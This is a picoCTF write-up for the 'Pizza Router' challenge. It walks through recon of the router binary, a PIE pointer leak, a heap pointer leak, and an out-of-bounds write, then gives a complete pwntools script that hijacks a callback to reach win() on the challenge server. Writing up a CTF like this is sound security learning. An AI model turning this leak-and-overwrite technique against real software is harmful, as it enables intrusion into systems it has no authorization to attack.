Pizza Router Writeup
picoCTF Pizza Router writeup exploiting a routing application through buffer overflow or command injection to capture the flag.
Contents
Pizza Router Writeup
Here is the exact writeup of how I solved it, step by step, including the tools I used.
Files and tools used
- Files:
router,city1.map,city2.map,city3.map - Tools:
filechecksecstringsnmobjdumppython3pwntoolsnc
1) Recon the binary
file router
checksec --file=router
strings -n 4 router | rg "help|add_order|reroute|replay|receipt|dispatch"
nm -n router
Findings:
- PIE enabled
- hidden
winat offset0x2460 - command surface includes leaks + mutation operations
2) Identify useful leaks and bug
From reversing behavior:
replay <id>leaks callback pointer:renderer=%p(PIE leak)receipt <id>leaks state pointer:hint=%p(heap leak)reroute <id> <heap_idx> <new_cost>has out-of-bounds index behavior
3) Exploit plan
- Create order.
- Leak renderer pointer and compute PIE base.
- Leak state pointer.
- Use OOB writes to redirect callback to
win(). - Trigger callback via
dispatch.
4) Key offsets used
base = renderer - 0x2260win = base + 0x2460- write base in state:
state + 0x18 - callback target:
state + 0x438 - callback index:
(0x438 - 0x18)/8 = 132
5) Working exploit script
from pwn import *
import re
HOST='mysterious-sea.picoctf.net'
PORT=65154
def i32(x):
x &= 0xffffffff
return x if x < 0x80000000 else x-0x100000000
io = remote(HOST, PORT)
io.recvuntil(b'router> ')
def cmd(s):
io.sendline(s)
return io.recvuntil(b'router> ', drop=True)
out = cmd(b'add_order 1 1')
oid = int(re.search(rb'order #(\d+)', out).group(1))
rep = cmd(f'replay {oid}'.encode())
renderer = int(re.search(rb'renderer=(0x[0-9a-fA-F]+)', rep).group(1),16)
base = renderer - 0x2260
win = base + 0x2460
rcpt = cmd(f'receipt {oid}'.encode())
state = int(re.search(rb'hint=(0x[0-9a-fA-F]+)', rcpt).group(1),16)
heap_base = state + 0x18
ord0 = base + 0x5080
idx_to_ord0 = (ord0 - heap_base)//8
x_over = ((win & 0xffffffff) - 16) & 0xffffffff
cmd(f'reroute {oid} {idx_to_ord0} {i32(x_over)}'.encode())
cmd(f'reroute 17 132 {i32((win>>32)&0xffffffff)}'.encode())
out = cmd(b'dispatch 17')
print(out.decode('latin-1','replace'))
6) Result
The challenge instance returned:
flag{<redacted>}
Note: this instance returned flag{<redacted>} format (not picoCTF{<redacted>}).